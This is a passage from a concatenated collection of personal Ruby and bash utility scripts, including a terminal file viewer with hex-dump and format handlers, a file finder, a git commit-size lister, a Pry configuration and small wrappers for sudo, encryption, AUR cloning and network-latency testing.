skip_begins_at output << " <8>[ <4>skipped <12>#{skip_length.commatize} <4>bytes of NULLs <8>(<12>#{skip_begins_at.commatize}<4> to <12>#{offset.commatize}<8>) <8>] ".colorize skip_begins_at = nil end hex = chars.map { |b| "%0.2x " % b.ord } underflow = bytes_per_line - hex.size hex += [' ']*underflow if underflow > 0 # Offset a = "<3>%0.8x</3>" % offset # Hex b = sector_size ? highlight.(:hex, hex, offset) : hex # Chars c = sector_size ? highlight.(:text, chars, offset) : chars # Replace unprintable characters c = c.map do |c| case c.ord when 32..126 c when 0 "<8>_</8>" else "<8>.</8>" end end output << "#{a} #{b.join} <8>|<7>#{c.join}</7><8>|".colorize end ### interleaved_print_line = proc do |chars, line| offset = bytes_per_line * line # Skip nulls if chars == empty_line skip_begins_at = offset unless skip_begins_at next end if skip_begins_at skip_length = offset - skip_begins_at output << " <8>[ <4>skipped <12>#{skip_length.commatize} <4>bytes of NULLs <8>(<12>#{skip_begins_at.commatize}<4> to <12>#{offset.commatize}<8>) <8>] ".colorize skip_begins_at = nil end hex = chars.map.with_index { |b, i| "<#{(i%2==0) ? 2 : 3}>%0.2x" % b.ord } #underflow = bytes_per_line - hex.size #hex += [' ']*underflow if underflow > 0 # Offset a = "<3>%0.8x</3>" % offset # Hex b = sector_size ? highlight.(:hex, hex, offset) : hex # Chars c = sector_size ? highlight.(:text, chars, offset) : chars # Replace unprintable characters c = c.map do |c| case c.ord when 32..126 c when 0 "<8>_</8>" else "<8>.</8>" end end output << "#{a} #{b.join}".colorize output << " <7>#{c.join(" ")}</7>".colorize end skip_begins_at = nil print_line = side_by_side ? classic_print_line : interleaved_print_line open(arg, "rb") do |io| io.each_char.each_slice(bytes_per_line).with_index(&print_line) end end # Enumerator end ############################################################################## # def pretty_xml(data) # require "rexml/document" # result = "" # doc = REXML::Document.new(data) # formatter = REXML::Formatters::Pretty.new # formatter.compact = true # use as little whitespace as possible # formatter.write(doc, result) # result # end ############################################################################## def print_archive(filename) header = Enumerator.new do |out| out << "Contents of: #{filename}" end header + ( case filename when /\.tar\.zst$/ depends bins: "zstd" run("tar", "-Izstd", "-tvf", filename) else depends bins: "atool" run("atool", "-l", filename) end ) end def print_zip(filename) depends bins: "unzip" run("unzip", "-v", filename) end def print_archived_xml_file(archive, internal_file) depends gems: "coderay" # internal_ext = File.extname(internal_file) case archive.extname when ".k3b" data = IO.popen(["unzip", "-p", archive.to_s, internal_file]) { |io| io.read } CodeRay.scan(pretty_xml(data), :xml).term end end ############################################################################## def print_xpi_info(filename) depends bins: "atool" require 'json' manifest = run("atool", "-c", filename, "manifest.json") h = JSON.parse(manifest) perms = h["permissions"] matches = h["content_scripts"]&.map { |cs| cs["matches"] }&.flatten&.uniq result = [] result << "#"*40 result << " #{h["name"]} v#{h["version"]}" result << "#"*40 result << "" result << "Permissions: #{perms.join(", ")}" if perms result << "URLs matched: #{matches.join(", ")}" if matches result << run("atool", "-l", filename) result << "" result end ############################################################################## # Pretty-print XML def nice_xml(xml) require "rexml/document" doc = REXML::Document.new(xml) formatter = REXML::Formatters::Pretty.new formatter.compact = true # use as little whitespace as possible result = "" formatter.write(doc, result) result end ############################################################################## def print_xml(filename) header = open(filename, "rb") { |f| f.each_byte.take(4) } if header == [3, 0, 8, 0] # Android binary XML depends bins: "axmlprinter" xml = IO.popen(["axmlprinter", filename], &:read) convert_htmlentities(CodeRay.scan(nice_xml(xml), :xml).term) else # Regular XML convert_htmlentities( print_source( nice_xml( File.read(filename) ), :xml) ) end end ############################################################################## def print_bibtex(filename) depends gems: ["bibtex", "epitools"] require 'bibtex' require 'epitools/colored' out = StringIO.new bib = BibTeX.open(filename) bib.sort_by { |entry| entry.fields[:year] || "zzzz" }.each do |entry| o = OpenStruct.new entry.fields year = o.year ? o.year.to_s : "____" indent = " " * (year.size + 1) out.puts "<14>#{year} <15>#{o.title} <8>(<7>#{entry.type}<8>)".colorize out.puts "#{indent}<11>#{o.author}".colorize if o.author out.puts "#{indent}#{o.booktitle}" if o.booktitle out.puts "#{indent}#{o.series}" if o.series out.puts "#{indent}#{o.publisher}" if o.publisher out.puts "#{indent}#{o.journal}, Vol. #{o.volume}, No. #{o.number}, pages #{o.pages}" if o.journal out.puts "#{indent}<9>#{o.url}".colorize if o.url out.puts # out.puts o.inspect # out.puts end out.seek 0 out.read end def print_http(url) require 'pp' require 'uri' uri = URI.parse(url) if which("youtube-dl") and uri.host =~ /(youtube\.com|youtu\.be)$/ depends gems: "coderay" # TODO: Pretty-print video title/description/date/etc, and render subtitles (if available) json = youtube_info(url) CodeRay.scan(JSON.pretty_generate(json), :json).term else # IO.popen(["lynx", "-dump", url]) { |io| io.read } # require 'open-uri' # html = URI.open(url, &:read) html = IO.popen(["curl", "-Lsk", url], &:read) print_html(html) end end ############################################################################## def print_html(html) depends gems: "html-renderer" # unless defined? HTMLRenderer # gem 'html-renderer', '>= 0.1.2' require 'html-renderer/ansi' # end HTMLRenderer::ANSI.render(html) end def print_rdoc(path) depends gem: "rdoc" html = IO.popen(["rdoc", "-p"], "w+") do |io| io.write(path.read) io.close_write io.read end print_html(html) end ############################################################################## def print_weechat_log(filename) depends gems: 'epitools' require 'epitools/colored' line_struct = Struct.new(:date, :time, :nick, :msg) colors = [2,3,4,5,6,9,10,11,12,13,14,15] last_date = nil slice_size = 100 Enumerator.new do |out| open(filename).each_line.each_slice(slice_size) do |slice| lines = slice.map { |line| line_struct.new *line.chomp.split(/\s+/, 4) } longest_nick = lines.map { |l| l.nick.size }.max lines.each do |l| if l.date != last_date out << "" out << "<8>==== <11>#{l.date} <8>=============================".colorize out << "" last_date = l.date end case l.nick when "--" out << "<8>-- #{l.msg}".colorize when "<--", "-->" out << "<8>#{l.nick} #{l.msg}".colorize else color = colors[l.nick.chars.map(&:ord).sum % colors.size] indented_nick = l.nick.rjust(longest_nick) out << "<8>[#{l.time}] <#{color}>#{indented_nick} <7>#{l.msg}".colorize end end end end end ############################################################################## def print_pdf(file) depends bins: "pdftohtml", pkg: "poppler" depends gem: "html2ansi" html = run("pdftohtml", "-stdout", "-noframes", "-i", file) print_html(html) end ############################################################################## def highlight(enum, &block) enum = enum.each_line if enum.is_a? String Enumerator.new do |y| enum.each do |line| y << block.call(line) end end end def highlight_lines_with_colons(enum) highlight(enum) do |line| if line =~ /^(\s*)(\S+):(.*)/ "#{$1}\e[37;1m#{$2}\e[0m: #{$3}" else line end end end ############################################################################## DECOMPRESSORS = { ".gz" => %w[gzip -d -c], ".xz" => %w[xz -d -c], ".bz2" => %w[bzip2 -d -c], ".zst" => %w[zstd -d -c], } def convert(arg) arg = arg.sub(%r{^file://}, '') if arg =~ %r{^https?://.+} print_http(arg) else arg = which(arg) unless File.exists? arg raise Errno::ENOENT unless arg path = Pathname.new(arg) # # If it's a directory, show the README, or print an error message. # if path.directory? if leveldb_dir?(path) return print_leveldb(path) elsif wikidump_dir?(path) print_wikidump(path.glob("*-current.xml").first) else readmes = Dir.foreach(arg). select do |file| File.file?(file) \ and file[/(^readme|^home\.md$|\.gemspec$|^cargo.toml$|^pkgbuild$|^default.nix$|^template$)/i] end scores = [ [/^readme\./i, 10], [/^readme/i, 5] ] readmes.sort_by do |readme| matcher, score = (scores.find { |matcher, score| matcher.match(readme) } || [nil, 0]) # p [readme, score] [score, File.size(readme)] end if readme = readmes.first return convert("#{arg}/#{readme}") else return run("tree", arg) # return "\e[31m\e[1mThat's a directory!\e[0m" end end end # TODO: Fix relative symlinks # arg = File.readlink(arg) if File.symlink?(arg) #### MEGA SWITCH STATEMENT #### ext = path.extname.downcase if path.filename =~ /\.tar\.(gz|xz|bz2|lz|lzma|pxz|pixz|lrz|zst)$/ or ext =~ /\.(tgz|tar|zip|rar|arj|lzh|deb|rpm|7z|apk|pk3|jar|gem|iso|wim)$/ print_archive(arg) elsif cmd = DECOMPRESSORS[ext] run(*cmd, arg) elsif path.filename =~ /.+-current\.xml$/ print_wikidump(arg) elsif path.filename =~ /bookmark.+\.html$/i print_bookmarks(arg) elsif path.filename =~ /^id_(rsa|ed25519|dsa|ecdsa)(\.pub)?$/ print_ssl_certificate(arg) elsif path.filename =~ /\.live_chat\.json(\.gz)?$/ print_youtube_chat_json(arg) else case ext when *%w[.html .htm] print_html(File.read arg) when *%w[.md .markdown .mdwn .page .gmi] print_markdown(File.read arg) when *%w[.moin .wiki] print_moin(File.read arg) when *%w[.rdoc] print_rdoc(path) when *%w[.adoc .asciidoc] print_asciidoc(File.read arg) when *%w[.epub] print_epub(arg) when *%w[.ipynb] print_ipynb(arg) when /^\.[1-9]$/ # manpages run("man", "-l", "-Tascii", arg, env: {"MANWIDTH" => term_width}) when *%w[.torrent] print_torrent(arg) when *%w[.nfo .ans .drk .ice] print_cp437(arg) when *%w[.rst] print_rst(arg) when *%w[.org] print_orgmode(path) when *%w[.srt] print_srt(arg) when *%w[.vtt] print_vtt(arg) # when *%w[.iso] # print_iso(arg) when *%w[.pdf] print_pdf(arg) when *%w[.doc .docx] print_doc(arg) when *%w[.rtf] print_rtf(arg) when *%w[.pem .crt .key] print_ssl_certificate(arg) when *%w[.sig .asc] print_gpg(arg) when *%w[.pickle] print_pickle(arg) when *%w[.xml] print_xml(arg) when *%w[.csv .tsv .xls] print_csv(arg) when *%w[.weechatlog] print_weechat_log(arg) when *%w[.mp3 .mp2 .ogg .webm .mkv .mp4 .m4a .m4s .avi .mov .qt .rm .wma .wmv .s3m .xm .it .mod] print_ffprobe(arg) when *%w[.jpg .jpeg] print_exif(arg) when ".tsv" print_csv(arg) # print_csv(arg, "\t") # it autodetects now. (kept for posterity) when ".bib" print_bibtex(arg) when ".xpi" print_zip(arg) # print_xpi_info(arg) when ".k3b" print_archived_xml_file(path, "maindata.xml") else format = run('file', arg).to_a.join case format when /SQLite 3.x database/ print_sqlite(arg) when /Zip archive/ print_zip(arg) when /shell script/ print_source(arg) when /:.+?(ELF|(?<!text )executable|shared object)[^,]*,/ print_obj(arg) when /(image,|image data)/ show_image(arg) when /cpio archive/ print_archive(arg) when /: data$/ print_hex(arg) else print_source(arg) end end end end end ############################################################################## def perform_self_test TESTS.each do |name, test, expected_result| result = test.call if result == expected_result print "." else puts puts "errn: #{name} failed" puts " expected => #{expected_result.inspect}" puts " got => #{result.inspect}" puts end end end ### MAIN ##################################################################### if $0 == __FILE__ args = ARGV if args.size == 0 or %w[--help].include? args.first puts "usage: c [options] <filename(s)>" puts puts "options:" puts " -s Always scrollable (don't exit if less than a screenfull of text)" puts " -i Auto-indent file" puts " -h Side-by-side hex mode (classic)" puts " -x Interleaved hex mode (characters below hex values)" puts " -t Execute Self-testing Routies" puts else # 1 or more args if args.delete("-t") perform_self_test exit end wrap = !args.any? { |arg| arg[/\.csv$/i] } scrollable = args.delete("-s") indent = args.delete("-i") side_by_side_hexmode = args.delete("-h") interleaved_hexmode = args.delete("-x") lesspipe(:wrap=>wrap, :clear=>!scrollable) do |less| args.each do |arg| begin if args.size > 1 less.puts "\e[30m\e[1m=== \e[0m\e[36m\e[1m#{arg} \e[0m\e[30m\e[1m==============\e[0m" less.puts end begin # TODO: this breaks if you pass a dir; move this inside `convert(arg)` result = if side_by_side_hexmode print_hex(arg) elsif interleaved_hexmode print_hex(arg, false) else convert(arg) end rescue Errno::EACCES less.puts "\e[31m\e[1mNo read permission for \e[0m\e[33m\e[1m#{arg}\e[0m" # less.puts "\e[31m\e[1mNo read permission for \e[0m\e[33m\e[1m#{arg}\e[0m" next rescue Errno::ENOENT => e # less.puts "\e[31m\e[1mFile not found.\e[0m" less.puts "\e[31m\e[1m#{e}\e[0m" next end case result when Enumerable result.each { |line| less.puts line } when String result.each_line { |line| less.puts line } end less.puts less.puts end # each arg rescue MissingDependency => e less.puts e.to_s end end # lesspipe end end <file_sep>#!/usr/bin/env ruby require 'epitools' COLOR_MAP = { 0 => 10, # bytes 1 => 14, # kilobytes 2 => 12, # megabytes 3 => 11, # gigabytes } class Commit < TypedStruct["ref author date msg"] def self.from_revlist(line) c = new c.ref, c.msg = line.strip.split(/\s+/, 2) c end def self.from_log(chunk) c = new c.ref = chunk[0].split.last c.author = chunk[1].split(/^Author:\s+/,2).last c.date = chunk[2].split(/^Date:\s+/,2).last c.msg = chunk[4..-2].map {|line| line[4..-1]}.join("\n") c.size = commit_size(ref) c end def size @size ||= `git ls-tree -rl #{ref}`.each_line.map do |line| line.split[3].to_i end.reduce(:+) end end def commits return enum_for(:commits) unless block_given? # git rev-list --reverse --all --pretty=oneline #`git log --reverse`.each_line.map(&:chomp).split_before(/^commit /).each do |chunk| `git rev-list --all --reverse --oneline`.each_line do |line| yield Commit.from_revlist(line) end end def display_commit(c, commit_size) if commit_size < 0 display_size = "<8>#{commit_size.commatize.rjust(10)}" else magnitude = (commit_size.to_s.size - 1) / 3 display_size = "<#{COLOR_MAP[magnitude]}>#{commit_size.commatize.rjust(10)}" end puts "<9>#{c.ref} #{display_size} <7>#{c.msg}".colorize end if $0 == __FILE__ first = true commits.each_cons(2) do |a,b| if first display_commit(a, a.size) first = false end commit_size = b.size - a.size display_commit(b, commit_size) end end <file_sep>#!/bin/bash cd ~/opt/pharo vm/pharo pharo.image "$@" <file_sep>#!/bin/bash if [ -f setup.py ] then echo "Installing Python script (setup.py install)..." instmon -c "python setup.py install" $* elif [ -f Makefile -o -f makefile ] then echo "Installing something with a Makefile (make install)..." instmon -c "make install" $* elif [ -f setup.rb ] then echo "Installing Ruby script (setup.rb install)..." instmon -c "ruby setup.rb install" $* elif [ -f install.rb ] then echo "Installing Ruby script (install.rb)..." instmon -c "ruby install.rb" $* else echo "I'm not sure how to install this. Fix my code!!" fi <file_sep>#!/usr/bin/ruby require 'rubygems' require 'epitools' require 'json' require 'open-uri' require 'awesome_print' if ARGV.any? puts "Opening #{ARGV.first}..." input = open(ARGV.first) else input = STDIN end json = JSON.parse(input.read) lesspipe { |less| less.puts json.ai } <file_sep>#!/bin/bash sudoifnotroot cpupower frequency-set -g ondemand <file_sep>. ~/.bashrc #if [ "$TMUX" == "" ]; then # if tmux ls; then # tmux att # else # tmux # fi #fi <file_sep>#!/bin/bash # ffmpeg -vsync 0 -i "$*" -vf select="eq(pict_type\,I)" -f image2 keyframe-%03d.jpg ffmpeg -vsync 0 -i "$*" -vf select="eq(pict_type\,I)" -f image2 -strftime 1 "keyframe-%H_%M_%S.jpg" <file_sep>#!/bin/bash IN="$1" if [ "$2" == "" ]; then OUT="$IN.enc" else OUT="$2" fi >&2 echo "Encrypting '$IN' to '$OUT'..." openssl enc -aes-256-cbc -pbkdf2 -salt -in "$IN" -out "$OUT" <file_sep>#!/bin/bash # Fail hard and fast if any intermediate command pipeline fails set -e NETNS=latency-network SERVER_IF=veth-server CLIENT_IF=veth-client # The delay in uSecs DELAY=1000000 function help { echo "$0 <Server IP> <Client IP> [CMD [ARGS ....]]" echo "" echo " Server IP: IP address assigned to the server" echo " Client IP: IP address assigned to the client, Must be" echo " in the same /24 subnet as the server" echo " CMD/ARGS: The command/server to execute at the other" echo " end of the high latency link, DEFAULT=/bin/sh" } if [ "$1" == "-h" ]; then help exit 0 fi if [ "$1" == "" ]; then echo "Error: Please specify an IPv4 Address for the server" echo help exit 1 fi if [ "$2" == "" ]; then echo "Error: Please specify an IPv4 Address for the client" echo help exit 1 fi SERVER_IP=$1 CLIENT_IP=$2 shift 2 if [ "$1" == "" ]; then echo "No command specified, using /bin/sh" CMD=/bin/sh ARGS="" else CMD=$1 shift ARGS=$* fi # Create the networking pair ip li add $SERVER_IF type veth peer name $CLIENT_IF # Automatically clean up interfaces on script exit trap "ip li del $CLIENT_IF" EXIT # Add a 100ms Delay tc qdisc add dev $CLIENT_IF root netem delay $DELAY tc qdisc add dev $SERVER_IF root netem delay $DELAY # Assign the requested IP addresses ip ad add $CLIENT_IP/24 dev $CLIENT_IF # Bring the interfaces up in the correct order ip li set $CLIENT_IF up # Create a net namespace and set it up with the server interface ip netns add $NETNS trap "ip li del $CLIENT_IF; ip netns del $NETNS" EXIT ip li set $SERVER_IF netns $NETNS # Set IP networking in the container ip netns exec $NETNS ip ad add $SERVER_IP/24 dev $SERVER_IF ip netns exec $NETNS ip li set $SERVER_IF up ip netns exec $NETNS ip ro add default via $CLIENT_IP # Execute the command in the namespace ip netns exec $NETNS $CMD $ARGS<file_sep>#!/usr/bin/env ruby # TODOs: # - '-r' reverses the sort # - '-d' specifies delimiter # - Field ranges (5-6) args = ARGV unless args.any? and args.all? { |arg| arg =~ /^\d+$/ } puts "Usage:" puts "\t#{__FILE__} <field(s)...>" puts puts "Purpose:" puts "\tSort STDIN by the specified field numbers" puts "\t(where fields are separated by whitespace)." puts puts "Notes:" puts "\tField numbering starts at 1." # puts "\tA range (eg: '5-6') will join the fields together." puts exit 1 end fields = args.map(&:to_i) rows = STDIN.map { |line| line.chomp.split } sorted = rows.sort_by do |row| fields.map do |fieldnum| val = row[fieldnum-1] val = val.to_i if val =~ /^\d+(k|m|mb|\/s)?$/i val end #.compact end sorted.each do |row| puts row.join(" ") end <file_sep>#!/bin/bash if [ "$*" == "" ]; then echo "usage:" echo " sleepsort 5 3 6 3 6 2 3 1 4 7" exit 1 fi function f() { sleep "$1" echo "$1" } while [ -n "$1" ] do f "$1" & shift done wait <file_sep>#!/usr/bin/env ruby ################################################################# ## For author info, scroll to the end of this file. ################################################################# ################################################################# ## Load Modules require 'rubygems' require 'pathname' require 'pp' require 'epitools' ################################################################# ################################################################# ## Globals if ARGV.any?{|arg| arg == "-v"} ARGV.remove_if{|arg| arg == "-v"} $verbose = true else $verbose = false end ################################################################# ################################################################# ## Display Help (if requested) if ["--help", "-h"].include?(ARGV[0]) puts DATA.read exit end ################################################################# ################################################################# ## Old path scanner (Pathname is SLOWW) def breadth_first_scan_old(root, &block) if root.file? yield root return end children = Pathname(root).children.sort begin children.each { |child| yield child } # breadth children.each { |child| breadth_first_scan(child, &block) if child.directory? } rescue Errno::EACCES, Errno::EPERM => e STDERR.puts("Error: #{e}".red) end end ################################################################# ################################################################# ## NEW path scanner def slashed(path) path[-1] == ?/ ? path : (path + "/") end def listdir(root) root = slashed(root) dirs = Dir.glob("#{root}*/", File::FNM_DOTMATCH) files = Dir.glob("#{root}*", File::FNM_DOTMATCH) dirs_without_slashes = dirs.map{|dir| dir[0...-1]} files = files - dirs_without_slashes # remove dirs from file list # drop the "." and ".." dirs dirs = dirs.select { |dir| not dir =~ %r[/\.{1,2}/] } # strip #{root} from paths dirs, files = [dirs,files].map do |list| list.map { |f| f[root.size..-1] } end [dirs, files] end $visited = {} # visited paths, to avoid symlink-loops def breadth_first_scan(root, &block) puts "=== ".light_black + root.light_cyan + " ===".light_black if $verbose root = slashed(root) dirs, files = listdir(root) path_id = File.lstat(root).ino if seenpath = $visited[path_id] STDERR.puts "*** WARNING: Already seen #{root.inspect} as #{seenpath.inspect}".red if $verbose else $visited[path_id] = root dirs.each { |f| yield root, f } files.each { |f| yield root, f } for dir in dirs breadth_first_scan(root+dir, &block) end end end ################################################################# ################################################################# ## MAIN if $0 == __FILE__ # Separate options from commmandline args opts = ARGV.select{|arg| arg =~ /^-\w$/} args = ARGV - opts # Handle args case args.size when 0 query = '' roots = ['.'] when 1 if args.first =~ %r{(^/|/$|^\./)} #and File.directory?(ARGV.first) query = '' roots = [args.first] else query = args.first roots = ['.'] end else query = args.shift roots = args end # Handle one-letter options (eg: -a) for opt in opts case opt when '-a' roots.unshift query query = '' when '-v' $verbose = true end end # Matcher orig_query = query query = Regexp.new( Regexp.escape( query ), Regexp::IGNORECASE ) # Ignore bad path arguments roots = roots.select do |path| File.exists?(path) || STDERR.puts("Error: #{path} doesn't exist") end # Search! lesspipe(:wrap=>true) do |less| roots.each do |root| begin breadth_first_scan(root) do |dirname, filename| if orig_query['/'] # search the full path if the user put a '/' in the query path = dirname + filename less.puts path.highlight(query) if path =~ query else # search in the filenames only less.puts dirname+filename.highlight(query) if filename =~ query end end rescue Interrupt # eat ^C's exit(1) end end end end ################################################################# ################################################################# ## Help message (will be put in the DATA array) __END__ "f" (c) 2002-2011 by <NAME> (<EMAIL>) Usage: f => recursively list all files in current directory f <search string> => recursively list all files in current directory containing <search string> f <search string> <paths> => recursively list all files in <paths> containing <search string> f -a <paths> => show all files in paths f -v [...] => verbose mode (warns if there are symlink loops) (Note: To colorize the search results, install the "colorize" gem.) <file_sep># theme Pry.config.theme = "pry-siberia-16" # Pry.config.theme = "vim-detailed" # Pry.config.theme = "tomorrow" # Pry.config.theme = "solarized" # Pry.config.theme = "zenburn" # Pry.config.theme = "pry-classic-256" # Pry.config.theme = "twilight" ################################################################### ## History PRY_CONFIG_DIR = File.expand_path("~/.pry") Pry.history.loader = proc do |&block| Dir["#{PRY_CONFIG_DIR}/history-*.log"].sort_by { |f| File.mtime f }.last(2).each do |fn| File.foreach(fn) { |line| block.call(line) } end end # history_file = nil Pry.history.saver = proc do |line| if !@history_file Dir.mkdir(PRY_CONFIG_DIR) unless File.exists?(PRY_CONFIG_DIR) filename = "#{PRY_CONFIG_DIR}/history-#{Time.now.strftime('%Y-%m-%d')}.log" @history_file = File.open(filename, 'a', 0600).tap { |f| f.sync = true } end @history_file.puts(line) end #### RAILS STOPS HERE. ############################################ unless defined? Rails ################################################################### ## Gem Loader puts "Loading gems..." def req(mod) puts " |_ #{mod}" require mod yield if block_given? rescue Exception => e p e end ################################################################### ## Misc Ruby libraries req 'epitools' ################################################################### # Colours module Pry::Helpers::Text class << self alias_method :grey, :bright_black alias_method :gray, :bright_black end end ################################################################### # Other stuff Pry.commands.instance_eval do # alias_command("@", "whereami") alias_command("stack", "show-stack") rescue nil command "gem-search" do |*args| require 'open-uri' query = args.join ' ' results = open("http://rubygems.org/api/v1/search.json?query=#{query.urlencode}").read.from_json if !results.is_a?(Array) || results.empty? output.puts 'No results' else for result in results output.puts "#{''.red}<11>#{result["name"]} <8>(<9>#{result["version"]}<8>)".colorize output.puts " <7>#{result["info"]}".colorize end end end # command "grep" do |*args| # queries = [] # targets = [] # args.each do |arg| # case arg # when %r{^/([^/]+)/$} # queries << Regexp.new($1) # when %r{^([A-Z]\w+)$} # targets << Object.const_get($1) # else # end # end # p [:queries, queries] # p [:targets, targets] # end #alias_command ">", "cd" #alias_command "<", "cd .." command("decode") { |uri| puts URI.decode(uri) } command "lls", "List local files using 'ls'" do |*args| cmd = ".ls" cmd << " --color=always" if Pry.color run cmd, *args end command "lcd", "Change the current (working) directory" do |*args| run ".cd", *args run "pwd" end command "pwd" do puts Dir.pwd.split("/").map{|s| bright_green s}.join(grey "/") end #alias_command "gems", "gem-list" command "gem", "rrrrrrrrrubygems!" do |*args| gem_home = Gem.instance_variable_get(:@gem_home) || Gem.instance_variable_get(:@paths).home cmd = ["gem"] + args cmd.unshift "sudo" unless File.writable?(gem_home) output.puts "Executing: #{bright_yellow cmd.join(' ')}" if system(*cmd) Gem.refresh output.puts "Refreshed gem cache." else output.puts "Gem failed." end end command "req-verbose", "Requires gem(s). No need for quotes! (If the gem isn't installed, it will ask if you want to install it.)" do |*gems| def tree_to_array(hash, indent=0) colors = [:light_white, :light_cyan, :light_blue] result = [] dent = " " * indent hash.each do |key,val| color = colors[indent] || :white result << dent+key.send(color) result += tree_to_array(val, indent+1) if val.any? end result end def print_module_tree mods mods = mods.select { |mod| not mod < Exception } mods = mods.map { |mod| mod.to_s.split("::") } mod_tree = {} mods.sort.each { |path| mod_tree.mkdir_p(path) } results = tree_to_array(mod_tree) table = Term::Table.new(results, :cols=>3, :vertically => true, :colored => true) puts table end gems = gems.join(' ').gsub(',', '').split(/\s+/) gems.each do |gem| begin before_modules = ObjectSpace.each_object(Module).to_a if require gem output.puts "#{bright_yellow(gem)} loaded" loaded_modules = ObjectSpace.each_object(Module).to_a - before_modules print_module_tree(loaded_modules) else output.puts "#{bright_white(gem)} already loaded" end # rescue LoadError => e # if gem_installed? gem # output.puts e.inspect # else # output.puts "#{gem.bright_red} not found" # if prompt("Install the gem?") == "y" # run "gem-install", gem # run "req", gem # end # end end # rescue end # gems end alias_command "require", "req-verbose" alias_command "req", "req-verbose" end end # no more rails! ##### Scrap heap ########################################### # req 'awesome_print' do # AwesomePrint.pry! # # autoreq :Nokogiri do # # require 'awesome_print/ext/nokogiri' # # require 'nokogiri' # # end # # # awesomeprint output # # Pry.config.print = proc do |output, value| # # pretty = value.ai(:indent=>2) # # #Pry::Helpers::BaseHelpers.paged_output("=> #{pretty}", :output=>output) # # Pry::Helpers::BaseHelpers.stagger_output("=> #{pretty}", output) # # end # end # req 'coolline' do # req 'coderay' do # Pry.config.input = Coolline.new do |c| # c.word_boundaries += ["."] # c.transform_proc = proc do # CodeRay.scan(c.line, :ruby).term # end # c.completion_proc = proc do # word = c.completed_word # Object.constants.map(&:to_s).select { |w| w.start_with? word } # end # end # end # end # friendly prompt =begin name = "pry" #app.class.parent_name.underscore colored_name = Pry::Helpers::Text.blue(name) raquo = Pry::Helpers::Text.red("\u00BB") line = ->(pry) { "[#{Pry::Helpers::Text.bold(pry.input_array.size)}] " } target_string = ->(object, level) do unless (string = Pry.view_clip(object)) == 'main' "(#{'../' * level}#{string})" else '' end end Pry.config.prompt = [ ->(object, level, pry) do "#{line.(pry)}#{colored_name}#{target_string.(object, level)} #{raquo} " end, ->(object, level, pry) do spaces = ' ' * ( "[#{pry.input_array.size}] ".size + # Uncolored `line.(pry)` name.size + target_string.(object, level).size ) "#{spaces} #{raquo} " end ] =end ## PrintMembers # req 'print_members' do # Pry.commands.instance_eval do # rename_command "oldls", "ls" # command "ls", "Better ls" do |arg| # #if target.eval(arg) # query = arg ? Regexp.new(arg, Regexp::IGNORECASE) : // # PrintMembers.print_members(target.eval("self"), query) # end # end # end # Pry.commands.command(/^wtf([?!]*)/, "show backtrace") do |arg| # raise Pry::CommandError, "No most-recent exception" unless _pry_.last_exception # output.puts _pry_.last_exception # output.puts _pry_.last_exception.backtrace.first([arg.size, 0.5].max * 10) # end ## Sketches #req 'sketches' do # Sketches.config :editor => 's' #end =begin req 'rdoc/ri/driver' do class RDoc::RI::Driver def page lesspipe {|less| yield less} end def formatter(io) if @formatter_klass then @formatter_klass.new else RDoc::Markup::ToAnsi.new end end end Pry.commands.command "ri", "RI it up!" do |*names| ri = RDoc::RI::Driver.new :use_stdout => true, :interactive => false ri.display_names names end end =end ################################################################### # ri # Pry.commands.command "ri", "RI it up!" do |*names| # require 'rdoc/ri/driver' # unless RDoc::RI::Driver.responds_to? :monkeypatched? # class RDoc::RI::Driver # def page # lesspipe {|less| yield less} # end # def formatter(io) # if @formatter_klass then # @formatter_klass.new # else # RDoc::Markup::ToAnsi.new # end # end # def monkeypatched? # true # end # end # end # ri = RDoc::RI::Driver.new :use_stdout => true, :interactive => false # begin # ri.display_names names # rescue RDoc::RI::Driver::NotFoundError => e # $stderr.puts "error: '#{e.name}' not found" # end # end ## Fancy Require w/ Modules =begin req 'terminal-table/import' do Commands.instance_eval do # command "ls", "List Stuff" do |*args| # target.eval('self').meths(*args) # end def hash_mkdir_p(hash, path) return if path.empty? dir = path.first hash[dir] ||= {} hash_mkdir_p(hash[dir], path[1..-1]) end def hash_print_tree(hash, indent=0) result = [] dent = " " * indent hash.each do |key,val| result << dent+key result += hash_print_tree(val, indent+1) if val.any? end result end helper :print_module_tree do |mods| mod_tree = {} mods = mods.select { |mod| not mod < Exception } mods = mods.map { |mod| mod.to_s.split("::") } mods.sort.each do |path| hash_mkdir_p(mod_tree, path) end results = hash_print_tree(mod_tree) table = PrintMembers::Formatter::TableDefinition.new results.each_slice([results.size/3, 1].max) do |slice| table.column(*slice) end puts table(nil, *table.rows.to_a) end end end =end <file_sep>#!/bin/bash if [ $UID == 0 ]; then exec "$@" else exec sudo "$@" fi <file_sep>#!/usr/bin/env ruby opts, args = ARGV.partition { |arg| arg[/^--?\w/] } if args.size != 1 puts "Error: must supply exactly one URL" exit 1 end url = args.first url = "http://#{url}" unless url[%r{^https?://}] exec("lftp", *opts, url)<file_sep>#!/usr/bin/env ruby require 'epitools' def error(msg, code=1); puts msg; exit code; end error "usage: csv2json <csv file> [<json file>]" if ARGV.empty? input, output = ARGV.map(&:to_Path) output = input.with(ext: "json") if output.nil? error "Error: #{input} not found." unless input.exists? error "Error: #{output} already exists." if output.exists? puts "* Converting #{input} to #{output}..." output.write input.read_csv(headers: true).map(&:to_h).to_json puts " |_ done!"<file_sep>#!/bin/bash # WINEARCH=win32 WINEPREFIX=~/.wine32 wine ~/.wine32/drive_c/Program\ Files/coolpro2/coolpro2.exe "$@" wine ~/opt/coolpro2/coolpro2.exe "$@" <file_sep>#!/bin/bash if [ "$1" == "" ]; then luakit 2>&1 > /dev/null & elif [ "${1:0:4}" == "http" ]; then luakit -u "$*" 2>&1 > /dev/null & else goog "$*" fi <file_sep>#!/bin/bash # TODO: # Allow URLs to be passed, eg: # https://aur.archlinux.org/packages/gpointing-device-settings/ # https://aur.archlinux.org/gpointing-device-settings.git if [ "$1" == "" ]; then echo "usage: aur-get <package name>" else while [ "$1" != "" ]; do repo=$1 shift git clone https://aur.archlinux.org/$repo.git done fi <file_sep>#!/usr/bin/env ruby require 'rubygems' require 'epitools' require 'epitools/sys' # todo: sudoifnotroot verbose = ARGV.include? "-v" lesspipe do |less| Sys.ps.sort_by{|pr| [pr.exename || "", pr.pid.to_i]}.each do |pr| if verbose less.puts "Name: #{pr.name}" less.puts "Binary: #{pr.exename}" pr.fds.each { |fd| less.puts " #{fd}"} less.puts else less.puts "#{pr.pid.to_s.light_blue}: #{pr.name}" less.puts " #{pr.exename}".light_cyan if pr.exename end end end <file_sep>#!/usr/bin/env ruby # TODO: create a streaming group_by method class Event < Struct.new(:pname, :pid, :flags, :path) include Comparable COMPARABLE_VAULES = 